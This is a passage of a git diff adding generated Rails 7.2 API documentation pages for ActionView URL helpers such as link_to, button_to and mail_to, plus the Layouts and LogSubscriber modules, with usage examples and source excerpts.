+#      <button type="submit">New</button>
+#      <input name="authenticity_token" type="hidden" value="10f2163b45388899ad4d5ae948988266befcb6c3d1b2451cf657a0c293d605a6"  autocomplete="off"/>
+#    </form>"
+
+<%= button_to "Create", { action: "create" }, form: { "data-type" => "json" } %>
+# => "<form method="post" action="/images/create" class="button_to" data-type="json">
+#      <button type="submit">Create</button>
+#      <input name="authenticity_token" type="hidden" value="10f2163b45388899ad4d5ae948988266befcb6c3d1b2451cf657a0c293d605a6"  autocomplete="off"/>
+#    </form>"
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionview/lib/action_view/helpers/url_helper.rb, line 296
+      def button_to(name = nil, options = nil, html_options = nil, &block)
+        html_options, options = options, name if block_given?
+        html_options ||= {}
+        html_options = html_options.stringify_keys
+
+        url =
+          case options
+          when FalseClass then nil
+          else url_for(options)
+          end
+
+        remote = html_options.delete("remote")
+        params = html_options.delete("params")
+
+        authenticity_token = html_options.delete("authenticity_token")
+
+        method     = (html_options.delete("method").presence || method_for_options(options)).to_s
+        method_tag = BUTTON_TAG_METHOD_VERBS.include?(method) ? method_tag(method) : "".html_safe
+
+        form_method  = method == "get" ? "get" : "post"
+        form_options = html_options.delete("form") || {}
+        form_options[:class] ||= html_options.delete("form_class") || "button_to"
+        form_options[:method] = form_method
+        form_options[:action] = url
+        form_options[:'data-remote'] = true if remote
+
+        request_token_tag = if form_method == "post"
+          request_method = method.empty? ? "post" : method
+          token_tag(authenticity_token, form_options: { action: url, method: request_method })
+        else
+          ""
+        end
+
+        html_options = convert_options_to_data_attributes(options, html_options)
+        html_options["type"] = "submit"
+
+        button = if block_given?
+          content_tag("button", html_options, &block)
+        elsif button_to_generates_button_tag
+          content_tag("button", name || url, html_options, &block)
+        else
+          html_options["value"] = name || url
+          tag("input", html_options)
+        end
+
+        inner_tags = method_tag.safe_concat(button).safe_concat(request_token_tag)
+        if params
+          to_form_params(params).each do |param|
+            inner_tags.safe_concat tag(:input, type: "hidden", name: param[:name], value: param[:value],
+                                       autocomplete: "off")
+          end
+        end
+        html = content_tag("form", inner_tags, form_options)
+        prevent_content_exfiltration(html)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + current_page?(options = nil, check_parameters: false, **options_as_kwargs) + +

+ + +
+

True if the current request URI was generated by the given options.

+ +

Examples

+ +

Let’s say we’re in the http://www.example.com/shop/checkout?order=desc&page=1 action.

+ +
current_page?(action: 'process')
+# => false
+
+current_page?(action: 'checkout')
+# => true
+
+current_page?(controller: 'library', action: 'checkout')
+# => false
+
+current_page?(controller: 'shop', action: 'checkout')
+# => true
+
+current_page?(controller: 'shop', action: 'checkout', order: 'asc')
+# => false
+
+current_page?(controller: 'shop', action: 'checkout', order: 'desc', page: '1')
+# => true
+
+current_page?(controller: 'shop', action: 'checkout', order: 'desc', page: '2')
+# => false
+
+current_page?('http://www.example.com/shop/checkout')
+# => true
+
+current_page?('http://www.example.com/shop/checkout', check_parameters: true)
+# => false
+
+current_page?('/shop/checkout')
+# => true
+
+current_page?('http://www.example.com/shop/checkout?order=desc&page=1')
+# => true
+
+ +

Let’s say we’re in the http://www.example.com/products action with method POST in case of invalid product.

+ +
current_page?(controller: 'product', action: 'index')
+# => false
+
+ +

We can also pass in the symbol arguments instead of strings.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionview/lib/action_view/helpers/url_helper.rb, line 550
+      def current_page?(options = nil, check_parameters: false, **options_as_kwargs)
+        unless request
+          raise "You cannot use helpers that need to determine the current " \
+                "page unless your view context provides a Request object " \
+                "in a #request method"
+        end
+
+        return false unless request.get? || request.head?
+
+        options ||= options_as_kwargs
+        check_parameters ||= options.is_a?(Hash) && options.delete(:check_parameters)
+        url_string = RFC2396_PARSER.unescape(url_for(options)).force_encoding(Encoding::BINARY)
+
+        # We ignore any extra parameters in the request_uri if the
+        # submitted URL doesn't have any either. This lets the function
+        # work with things like ?order=asc
+        # the behavior can be disabled with check_parameters: true
+        request_uri = url_string.index("?") || check_parameters ? request.fullpath : request.path
+        request_uri = RFC2396_PARSER.unescape(request_uri).force_encoding(Encoding::BINARY)
+
+        if %r{^\w+://}.match?(url_string)
+          request_uri = +"#{request.protocol}#{request.host_with_port}#{request_uri}"
+        end
+
+        remove_trailing_slash!(url_string)
+        remove_trailing_slash!(request_uri)
+
+        url_string == request_uri
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+ + + +
+

Creates an anchor element of the given name using a URL created by the set of options. See the valid options in the documentation for url_for. It’s also possible to pass a String instead of an options hash, which generates an anchor element that uses the value of the String as the href for the link. Using a :back Symbol instead of an options hash will generate a link to the referrer (a JavaScript back link will be used in place of a referrer if none exists). If nil is passed as the name the value of the link itself will become the name.

+ + + +
link_to(body, url, html_options = {})
+  # url is a String; you can use URL helpers like
+  # posts_path
+
+link_to(body, url_options = {}, html_options = {})
+  # url_options, except :method, is passed to url_for
+
+link_to(options = {}, html_options = {}) do
+  # name
+end
+
+link_to(url, html_options = {}) do
+  # name
+end
+
+link_to(active_record_model)
+
+ + +
  • +

    :data - This option can be used to add custom data attributes.

    +
+ + + +

Because it relies on url_for, link_to supports both older-style controller/action/id arguments and newer RESTful routes. Current Rails style favors RESTful routes whenever possible, so base your application on resources and use

+ +
link_to "Profile", profile_path(@profile)
+# => <a href="/profiles/1">Profile</a>
+
+ +

or the even pithier

+ +
link_to "Profile", @profile
+# => <a href="/profiles/1">Profile</a>
+
+ +

in place of the older more verbose, non-resource-oriented

+ +
link_to "Profile", controller: "profiles", action: "show", id: @profile
+# => <a href="/profiles/show/1">Profile</a>
+
+ +

Similarly,

+ +
link_to "Profiles", profiles_path
+# => <a href="/profiles">Profiles</a>
+
+ +

is better than

+ +
link_to "Profiles", controller: "profiles"
+# => <a href="/profiles">Profiles</a>
+
+ +

When name is nil the href is presented instead

+ +
link_to nil, "http://example.com"
+# => <a href="http://www.example.com">http://www.example.com</a>
+
+ +

More concise yet, when name is an Active Record model that defines a to_s method returning a default value or a model instance attribute

+ +
link_to @profile
+# => <a href="http://www.example.com/profiles/1">Eileen</a>
+
+ +

You can use a block as well if your link target is hard to fit into the name parameter. ERB example:

+ +
<%= link_to(@profile) do %>
+  <strong><%= @profile.name %></strong> -- <span>Check it out!</span>
+<% end %>
+# => <a href="/profiles/1">
+       <strong>David</strong> -- <span>Check it out!</span>
+     </a>
+
+ +

Classes and ids for CSS are easy to produce:

+ +
link_to "Articles", articles_path, id: "news", class: "article"
+# => <a href="/articles" class="article" id="news">Articles</a>
+
+ +

Be careful when using the older argument style, as an extra literal hash is needed:

+ +
link_to "Articles", { controller: "articles" }, id: "news", class: "article"
+# => <a href="/articles" class="article" id="news">Articles</a>
+
+ +

Leaving the hash off gives the wrong link:

+ +
link_to "WRONG!", controller: "articles", id: "news", class: "article"
+# => <a href="/articles/index/news?class=article">WRONG!</a>
+
+ +

link_to can also produce links with anchors or query strings:

+ +
link_to "Comment wall", profile_path(@profile, anchor: "wall")
+# => <a href="/profiles/1#wall">Comment wall</a>
+
+link_to "Ruby on Rails search", controller: "searches", query: "ruby on rails"
+# => <a href="/searches?query=ruby+on+rails">Ruby on Rails search</a>
+
+link_to "Nonsense search", searches_path(foo: "bar", baz: "quux")
+# => <a href="/searches?foo=bar&baz=quux">Nonsense search</a>
+
+ +

You can set any link attributes such as target, rel, type:

+ +
link_to "External link", "http://www.rubyonrails.org/", target: "_blank", rel: "nofollow"
+# => <a href="http://www.rubyonrails.org/" target="_blank" rel="nofollow">External link</a>
+
+ + + +

Rails 7 ships with Turbo enabled by default. Turbo provides the following :data options:

+
  • +

    turbo_method: symbol of HTTP verb - Performs a Turbo link visit with the given HTTP verb. Forms are recommended when performing non-GET requests. Only use data-turbo-method where a form is not possible.

    +
  • +

    turbo_confirm: "question?" - Adds a confirmation dialog to the link with the given value.

    +
+ +

Consult the Turbo Handbook for more information on the options above.

+ + + +
link_to "Delete profile", @profile, data: { turbo_method: :delete }
+# => <a href="/profiles/1" data-turbo-method="delete">Delete profile</a>
+
+link_to "Visit Other Site", "https://rubyonrails.org/", data: { turbo_confirm: "Are you sure?" }
+# => <a href="https://rubyonrails.org/" data-turbo-confirm="Are you sure?">Visit Other Site</a>
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionview/lib/action_view/helpers/url_helper.rb, line 198
+      def link_to(name = nil, options = nil, html_options = nil, &block)
+        html_options, options, name = options, name, block if block_given?
+        options ||= {}
+
+        html_options = convert_options_to_data_attributes(options, html_options)
+
+        url = url_target(name, options)
+        html_options["href"] ||= url
+
+        content_tag("a", name || url, html_options, &block)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+ + + +
+

Creates a link tag of the given name using a URL created by the set of options if condition is true, otherwise only the name is returned. To specialize the default behavior, you can pass a block that accepts the name or the full argument list for link_to_if.

+ + + +
<%= link_to_if(@current_user.nil?, "Login", { controller: "sessions", action: "new" }) %>
+# If the user isn't logged in...
+# => <a href="/sessions/new/">Login</a>
+
+<%=
+   link_to_if(@current_user.nil?, "Login", { controller: "sessions", action: "new" }) do
+     link_to(@current_user.login, { controller: "accounts", action: "show", id: @current_user })
+   end
+%>
+# If the user isn't logged in...
+# => <a href="/sessions/new/">Login</a>
+# If they are logged in...
+# => <a href="/accounts/show/3">my_username</a>
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionview/lib/action_view/helpers/url_helper.rb, line 437
+      def link_to_if(condition, name, options = {}, html_options = {}, &block)
+        if condition
+          link_to(name, options, html_options)
+        else
+          if block_given?
+            block.arity <= 1 ? capture(name, &block) : capture(name, options, html_options, &block)
+          else
+            ERB::Util.html_escape(name)
+          end
+        end
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+ + + +
+

Creates a link tag of the given name using a URL created by the set of options unless condition is true, in which case only the name is returned. To specialize the default behavior (i.e., show a login link rather than just the plaintext link text), you can pass a block that accepts the name or the full argument list for link_to_unless.

+ + + +
<%= link_to_unless(@current_user.nil?, "Reply", { action: "reply" }) %>
+# If the user is logged in...
+# => <a href="/controller/reply/">Reply</a>
+
+<%=
+   link_to_unless(@current_user.nil?, "Reply", { action: "reply" }) do |name|
+     link_to(name, { controller: "accounts", action: "signup" })
+   end
+%>
+# If the user is logged in...
+# => <a href="/controller/reply/">Reply</a>
+# If not...
+# => <a href="/accounts/signup">Reply</a>
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionview/lib/action_view/helpers/url_helper.rb, line 414
+      def link_to_unless(condition, name, options = {}, html_options = {}, &block)
+        link_to_if !condition, name, options, html_options, &block
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+ + + +
+

Creates a link tag of the given name using a URL created by the set of options unless the current request URI is the same as the links, in which case only the name is returned (or the given block is yielded, if one exists). You can give link_to_unless_current a block which will specialize the default behavior (e.g., show a β€œStart Here” link rather than the link’s text).

+ + + +

Let’s say you have a navigation menu…

+ +
<ul id="navbar">
+  <li><%= link_to_unless_current("Home", { action: "index" }) %></li>
+  <li><%= link_to_unless_current("About Us", { action: "about" }) %></li>
+</ul>
+
+ +

If in the β€œabout” action, it will render…

+ +
<ul id="navbar">
+  <li><a href="/controller/index">Home</a></li>
+  <li>About Us</li>
+</ul>
+
+ +

…but if in the β€œindex” action, it will render:

+ +
<ul id="navbar">
+  <li>Home</li>
+  <li><a href="/controller/about">About Us</a></li>
+</ul>
+
+ +

The implicit block given to link_to_unless_current is evaluated if the current action is the action given. So, if we had a comments page and wanted to render a β€œGo Back” link instead of a link to the comments page, we could do something like this…

+ +
<%=
+    link_to_unless_current("Comment", { controller: "comments", action: "new" }) do
+       link_to("Go back", { controller: "posts", action: "index" })
+    end
+ %>
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionview/lib/action_view/helpers/url_helper.rb, line 390
+      def link_to_unless_current(name, options = {}, html_options = {}, &block)
+        link_to_unless current_page?(options), name, options, html_options, &block
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + mail_to(email_address, name = nil, html_options = {}, &block) + +

+ + +
+

Creates a mailto link tag to the specified email_address, which is also used as the name of the link unless name is specified. Additional HTML attributes for the link can be passed in html_options.

+ +

mail_to has several methods for customizing the email itself by passing special keys to html_options.

+ +

Options

+
  • +

    :subject - Preset the subject line of the email.

    +
  • +

    :body - Preset the body of the email.

    +
  • +

    :cc - Carbon Copy additional recipients on the email.

    +
  • +

    :bcc - Blind Carbon Copy additional recipients on the email.

    +
  • +

    :reply_to - Preset the Reply-To field of the email.

    +
+ +

Obfuscation

+ +

Prior to Rails 4.0, mail_to provided options for encoding the address in order to hinder email harvesters. To take advantage of these options, install the actionview-encoded_mail_to gem.

+ +

Examples

+ +
mail_to "me@domain.com"
+# => <a href="mailto:me@domain.com">me@domain.com</a>
+
+mail_to "me@domain.com", "My email"
+# => <a href="mailto:me@domain.com">My email</a>
+
+mail_to "me@domain.com", cc: "ccaddress@domain.com",
+         subject: "This is an example email"
+# => <a href="mailto:me@domain.com?cc=ccaddress@domain.com&subject=This%20is%20an%20example%20email">me@domain.com</a>
+
+ +

You can use a block as well if your link target is hard to fit into the name parameter. ERB example:

+ +
<%= mail_to "me@domain.com" do %>
+  <strong>Email me:</strong> <span>me@domain.com</span>
+<% end %>
+# => <a href="mailto:me@domain.com">
+       <strong>Email me:</strong> <span>me@domain.com</span>
+     </a>
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionview/lib/action_view/helpers/url_helper.rb, line 487
+      def mail_to(email_address, name = nil, html_options = {}, &block)
+        html_options, name = name, nil if name.is_a?(Hash)
+        html_options = (html_options || {}).stringify_keys
+
+        extras = %w{ cc bcc body subject reply_to }.map! { |item|
+          option = html_options.delete(item).presence || next
+          "#{item.dasherize}=#{ERB::Util.url_encode(option)}"
+        }.compact
+        extras = extras.empty? ? "" : "?" + extras.join("&")
+
+        encoded_email_address = ERB::Util.url_encode(email_address).gsub("%40", "@")
+        html_options["href"] = "mailto:#{encoded_email_address}#{extras}"
+
+        content_tag("a", name || email_address, html_options, &block)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + phone_to(phone_number, name = nil, html_options = {}, &block) + +

+ + +
+

Creates a TEL anchor link tag to the specified phone_number. When the link is clicked, the default app to make phone calls is opened and prepopulated with the phone number.

+ +

If name is not specified, phone_number will be used as the name of the link.

+ +

A country_code option is supported, which prepends a plus sign and the given country code to the linked phone number. For example, country_code: "01" will prepend +01 to the linked phone number.

+ +

Additional HTML attributes for the link can be passed via html_options.

+ +

Options

+
  • +

    :country_code - Prepends the country code to the phone number

    +
+ +

Examples

+ +
phone_to "1234567890"
+# => <a href="tel:1234567890">1234567890</a>
+
+phone_to "1234567890", "Phone me"
+# => <a href="tel:1234567890">Phone me</a>
+
+phone_to "1234567890", country_code: "01"
+# => <a href="tel:+011234567890">1234567890</a>
+
+ +

You can use a block as well if your link target is hard to fit into the name parameter. ERB example:

+ +
<%= phone_to "1234567890" do %>
+  <strong>Phone me:</strong>
+<% end %>
+# => <a href="tel:1234567890">
+       <strong>Phone me:</strong>
+     </a>
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionview/lib/action_view/helpers/url_helper.rb, line 671
+      def phone_to(phone_number, name = nil, html_options = {}, &block)
+        html_options, name = name, nil if name.is_a?(Hash)
+        html_options = (html_options || {}).stringify_keys
+
+        country_code = html_options.delete("country_code").presence
+        country_code = country_code.nil? ? "" : "+#{ERB::Util.url_encode(country_code)}"
+
+        encoded_phone_number = ERB::Util.url_encode(phone_number)
+        html_options["href"] = "tel:#{country_code}#{encoded_phone_number}"
+
+        content_tag("a", name || phone_number, html_options, &block)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + sms_to(phone_number, name = nil, html_options = {}, &block) + +

+ + +
+

Creates an SMS anchor link tag to the specified phone_number. When the link is clicked, the default SMS messaging app is opened ready to send a message to the linked phone number. If the body option is specified, the contents of the message will be preset to body.

+ +

If name is not specified, phone_number will be used as the name of the link.

+ +

A country_code option is supported, which prepends a plus sign and the given country code to the linked phone number. For example, country_code: "01" will prepend +01 to the linked phone number.

+ +

Additional HTML attributes for the link can be passed via html_options.

+ +

Options

+
  • +

    :country_code - Prepend the country code to the phone number.

    +
  • +

    :body - Preset the body of the message.

    +
+ +

Examples

+ +
sms_to "5155555785"
+# => <a href="sms:5155555785;">5155555785</a>
+
+sms_to "5155555785", country_code: "01"
+# => <a href="sms:+015155555785;">5155555785</a>
+
+sms_to "5155555785", "Text me"
+# => <a href="sms:5155555785;">Text me</a>
+
+sms_to "5155555785", body: "I have a question about your product."
+# => <a href="sms:5155555785;?body=I%20have%20a%20question%20about%20your%20product">5155555785</a>
+
+ +

You can use a block as well if your link target is hard to fit into the name parameter. ERB example:

+ +
<%= sms_to "5155555785" do %>
+  <strong>Text me:</strong>
+<% end %>
+# => <a href="sms:5155555785;">
+       <strong>Text me:</strong>
+     </a>
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionview/lib/action_view/helpers/url_helper.rb, line 620
+      def sms_to(phone_number, name = nil, html_options = {}, &block)
+        html_options, name = name, nil if name.is_a?(Hash)
+        html_options = (html_options || {}).stringify_keys
+
+        country_code = html_options.delete("country_code").presence
+        country_code = country_code ? "+#{ERB::Util.url_encode(country_code)}" : ""
+
+        body = html_options.delete("body").presence
+        body = body ? "?&body=#{ERB::Util.url_encode(body)}" : ""
+
+        encoded_phone_number = ERB::Util.url_encode(phone_number)
+        html_options["href"] = "sms:#{country_code}#{encoded_phone_number};#{body}"
+
+        content_tag("a", name || phone_number, html_options, &block)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActionView/Helpers/UrlHelper/ClassMethods.html b/src/7.2/classes/ActionView/Helpers/UrlHelper/ClassMethods.html new file mode 100644 index 0000000000..7f87023bb3 --- /dev/null +++ b/src/7.2/classes/ActionView/Helpers/UrlHelper/ClassMethods.html @@ -0,0 +1,101 @@ +--- +title: ActionView::Helpers::UrlHelper::ClassMethods +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + _url_for_modules() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionview/lib/action_view/helpers/url_helper.rb, line 30
+        def _url_for_modules
+          ActionView::RoutingUrlFor
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActionView/Layouts.html b/src/7.2/classes/ActionView/Layouts.html new file mode 100644 index 0000000000..dbe2f3f509 --- /dev/null +++ b/src/7.2/classes/ActionView/Layouts.html @@ -0,0 +1,333 @@ +--- +title: ActionView::Layouts +layout: default +--- +
+ +
+
+ +
+ +

Action View Layouts

+ +

Layouts reverse the common pattern of including shared headers and footers in many templates to isolate changes in repeated setups. The inclusion pattern has pages that look like this:

+ +
<%= render "application/header" %>
+Hello World
+<%= render "application/footer" %>
+
+ +

This approach is a decent way of keeping common structures isolated from the changing content, but it’s verbose and if you ever want to change the structure of these two includes, you’ll have to change all the templates.

+ +

With layouts, you can flip it around and have the common structure know where to insert changing content. This means that the header and footer are only mentioned in one place, like this:

+ +
// The header part of this layout
+<%= yield %>
+// The footer part of this layout
+
+ +

And then you have content pages that look like this:

+ +
hello world
+
+ +

At rendering time, the content page is computed and then inserted in the layout, like this:

+ +
// The header part of this layout
+hello world
+// The footer part of this layout
+
+ +

Accessing shared variables

+ +

Layouts have access to variables specified in the content pages and vice versa. This allows you to have layouts with references that won’t materialize before rendering time:

+ +
<h1><%= @page_title %></h1>
+<%= yield %>
+
+ +

…and content pages that fulfill these references at rendering time:

+ +
<% @page_title = "Welcome" %>
+Off-world colonies offers you a chance to start a new life
+
+ +

The result after rendering is:

+ +
<h1>Welcome</h1>
+Off-world colonies offers you a chance to start a new life
+
+ +

Layout assignment

+ +

You can either specify a layout declaratively (using the layout class method) or give it the same name as your controller, and place it in app/views/layouts. If a subclass does not have a layout specified, it inherits its layout using normal Ruby inheritance.

+ +

For instance, if you have PostsController and a template named app/views/layouts/posts.html.erb, that template will be used for all actions in PostsController and controllers inheriting from PostsController.

+ +

If you use a module, for instance Weblog::PostsController, you will need a template named app/views/layouts/weblog/posts.html.erb.

+ +

Since all your controllers inherit from ApplicationController, they will use app/views/layouts/application.html.erb if no other layout is specified or provided.

+ +

Inheritance Examples

+ +
class BankController < ActionController::Base
+  # bank.html.erb exists
+
+class ExchangeController < BankController
+  # exchange.html.erb exists
+
+class CurrencyController < BankController
+
+class InformationController < BankController
+  layout "information"
+
+class TellerController < InformationController
+  # teller.html.erb exists
+
+class EmployeeController < InformationController
+  # employee.html.erb exists
+  layout nil
+
+class VaultController < BankController
+  layout :access_level_layout
+
+class TillController < BankController
+  layout false
+
+ +

In these examples, we have three implicit lookup scenarios:

+
  • +

    The BankController uses the β€œbank” layout.

    +
  • +

    The ExchangeController uses the β€œexchange” layout.

    +
  • +

    The CurrencyController inherits the layout from BankController.

    +
+ +

However, when a layout is explicitly set, the explicitly set layout wins:

+
  • +

    The InformationController uses the β€œinformation” layout, explicitly set.

    +
  • +

    The TellerController also uses the β€œinformation” layout, because the parent explicitly set it.

    +
  • +

    The EmployeeController uses the β€œemployee” layout, because it set the layout to nil, resetting the parent configuration.

    +
  • +

    The VaultController chooses a layout dynamically by calling the access_level_layout method.

    +
  • +

    The TillController does not use a layout at all.

    +
+ +

Types of layouts

+ +

Layouts are basically just regular templates, but the name of this template needs not be specified statically. Sometimes you want to alternate layouts depending on runtime information, such as whether someone is logged in or not. This can be done either by specifying a method reference as a symbol or using an inline method (as a proc).

+ +

The method reference is the preferred approach to variable layouts and is used like this:

+ +
class WeblogController < ActionController::Base
+  layout :writers_and_readers
+
+  def index
+    # fetching posts
+  end
+
+  private
+    def writers_and_readers
+      logged_in? ? "writer_layout" : "reader_layout"
+    end
+end
+
+ +

Now when a new request for the index action is processed, the layout will vary depending on whether the person accessing is logged in or not.

+ +

If you want to use an inline method, such as a proc, do something like this:

+ +
class WeblogController < ActionController::Base
+  layout proc { |controller| controller.logged_in? ? "writer_layout" : "reader_layout" }
+end
+
+ +

If an argument isn’t given to the proc, it’s evaluated in the context of the current controller anyway.

+ +
class WeblogController < ActionController::Base
+  layout proc { logged_in? ? "writer_layout" : "reader_layout" }
+end
+
+ +

Of course, the most common way of specifying a layout is still just as a plain template name:

+ +
class WeblogController < ActionController::Base
+  layout "weblog_standard"
+end
+
+ +

The template will be looked always in app/views/layouts/ folder. But you can point layouts folder direct also. layout "layouts/demo" is the same as layout "demo".

+ +

Setting the layout to nil forces it to be looked up in the filesystem and falls back to the parent behavior if none exists. Setting it to nil is useful to re-enable template lookup overriding a previous configuration set in the parent:

+ +
class ApplicationController < ActionController::Base
+  layout "application"
+end
+
+class PostsController < ApplicationController
+  # Will use "application" layout
+end
+
+class CommentsController < ApplicationController
+  # Will search for "comments" layout and fall back to "application" layout
+  layout nil
+end
+
+ +

Conditional layouts

+ +

If you have a layout that by default is applied to all the actions of a controller, you still have the option of rendering a given action or set of actions without a layout, or restricting a layout to only a single action or a set of actions. The :only and :except options can be passed to the layout call. For example:

+ +
class WeblogController < ActionController::Base
+  layout "weblog_standard", except: :rss
+
+  # ...
+
+end
+
+ +

This will assign β€œweblog_standard” as the WeblogController’s layout for all actions except for the rss action, which will be rendered directly, without wrapping a layout around the rendered view.

+ +

Both the :only and :except condition can accept an arbitrary number of method references, so except: [ :rss, :text_only ] is valid, as is except: :rss.

+ +

Using a different layout in the action render call

+ +

If most of your actions use the same layout, it makes perfect sense to define a controller-wide layout as described above. Sometimes you’ll have exceptions where one action wants to use a different layout than the rest of the controller. You can do this by passing a :layout option to the render call. For example:

+ +
class WeblogController < ActionController::Base
+  layout "weblog_standard"
+
+  def help
+    render action: "help", layout: "help"
+  end
+end
+
+ +

This will override the controller-wide β€œweblog_standard” layout, and will render the help action with the β€œhelp” layout instead.

+ +
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + +

Methods

+ + + + + +

Included Modules

+ + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + action_has_layout?() + +

+ + +
+

Controls whether an action should be rendered using a layout. If you want to disable any layout settings for the current action so that it is rendered without a layout then either override this method in your controller to return false for that action or set the action_has_layout attribute to false before rendering.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionview/lib/action_view/layouts.rb, line 372
+    def action_has_layout?
+      @_action_has_layout
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActionView/Layouts/ClassMethods.html b/src/7.2/classes/ActionView/Layouts/ClassMethods.html new file mode 100644 index 0000000000..393a368e9a --- /dev/null +++ b/src/7.2/classes/ActionView/Layouts/ClassMethods.html @@ -0,0 +1,142 @@ +--- +title: ActionView::Layouts::ClassMethods +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + layout(layout, conditions = {}) + +

+ + +
+

Specify the layout to use for this class.

+ +

If the specified layout is a:

+
String +
+

the String is the template name

+
Symbol +
+

call the method specified by the symbol

+
Proc +
+

call the passed Proc

+
false +
+

There is no layout

+
true +
+

raise an ArgumentError

+
nil +
+

Force default layout behavior with inheritance

+
+ +

Return value of Proc and Symbol arguments should be String, false, true, or nil with the same meaning as described above.

+ +

Parameters

+
  • +

    layout - The layout to use.

    +
+ +

Options (conditions)

+
  • +

    :only - A list of actions to apply this layout to.

    +
  • +

    :except - Apply this layout to all actions but this one.

    +
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionview/lib/action_view/layouts.rb, line 269
+      def layout(layout, conditions = {})
+        include LayoutConditions unless conditions.empty?
+
+        conditions.each { |k, v| conditions[k] = Array(v).map(&:to_s) }
+        self._layout_conditions = conditions
+
+        self._layout = layout
+        _write_layout_method
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActionView/LogSubscriber.html b/src/7.2/classes/ActionView/LogSubscriber.html new file mode 100644 index 0000000000..43195e0555 --- /dev/null +++ b/src/7.2/classes/ActionView/LogSubscriber.html @@ -0,0 +1,440 @@ +--- +title: ActionView::LogSubscriber +layout: default +--- +
+ +
+
+ +
+ +

Action View Log Subscriber

+ +

Provides functionality so that Rails can output logs from Action View.

+ +
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + +

Constants

+ + + + + + + + + +
VIEWS_PATTERN=/^app\/views\//
+ + + + + + +

Class Public methods

+ +
+

+ + attach_to(*) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionview/lib/action_view/log_subscriber.rb, line 105
+    def self.attach_to(*)
+      ActiveSupport::Notifications.subscribe("render_template.action_view", ActionView::LogSubscriber::Start.new)
+      ActiveSupport::Notifications.subscribe("render_layout.action_view", ActionView::LogSubscriber::Start.new)
+
+      super
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + new() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionview/lib/action_view/log_subscriber.rb, line 12
+    def initialize
+      @root = nil
+      super
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + +

Instance Public methods

+ +
+

+ + render_collection(event) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionview/lib/action_view/log_subscriber.rb, line 45
+    def render_collection(event)
+      identifier = event.payload[:identifier] || "templates"
+
+      debug do
+        message = +"  Rendered collection of #{from_rails_root(identifier)}"
+        message << " within #{from_rails_root(event.payload[:layout])}" if event.payload[:layout]
+        message << " #{render_count(event.payload)} (Duration: #{event.duration.round(1)}ms | GC: #{event.gc_time.round(1)}ms)"
+        message
+      end
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + render_layout(event) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionview/lib/action_view/log_subscriber.rb, line 37
+    def render_layout(event)
+      info do
+        message = +"  Rendered layout #{from_rails_root(event.payload[:identifier])}"
+        message << " (Duration: #{event.duration.round(1)}ms | GC: #{event.gc_time.round(1)}ms)"
+      end
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + render_partial(event) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionview/lib/action_view/log_subscriber.rb, line 26
+    def render_partial(event)
+      debug do
+        message = +"  Rendered #{from_rails_root(event.payload[:identifier])}"
+        message << " within #{from_rails_root(event.payload[:layout])}" if event.payload[:layout]
+        message << " (Duration: #{event.duration.round(1)}ms | GC: #{event.gc_time.round(1)}ms)"
+        message << " #{cache_message(event.payload)}" unless event.payload[:cache_hit].nil?
+        message
+      end
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + render_template(event) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionview/lib/action_view/log_subscriber.rb, line 17
+    def render_template(event)
+      info do
+        message = +"  Rendered #{from_rails_root(event.payload[:identifier])}"
+        message << " within #{from_rails_root(event.payload[:layout])}" if event.payload[:layout]
+        message << " (Duration: #{event.duration.round(1)}ms | GC: #{event.gc_time.round(1)}ms)"
+      end
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + +

Instance Private methods

+ +
+

+ + cache_message(payload) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionview/lib/action_view/log_subscriber.rb, line 121
+    def cache_message(payload) # :doc:
+      case payload[:cache_hit]
+      when :hit
+        "[cache hit]"
+      when :miss
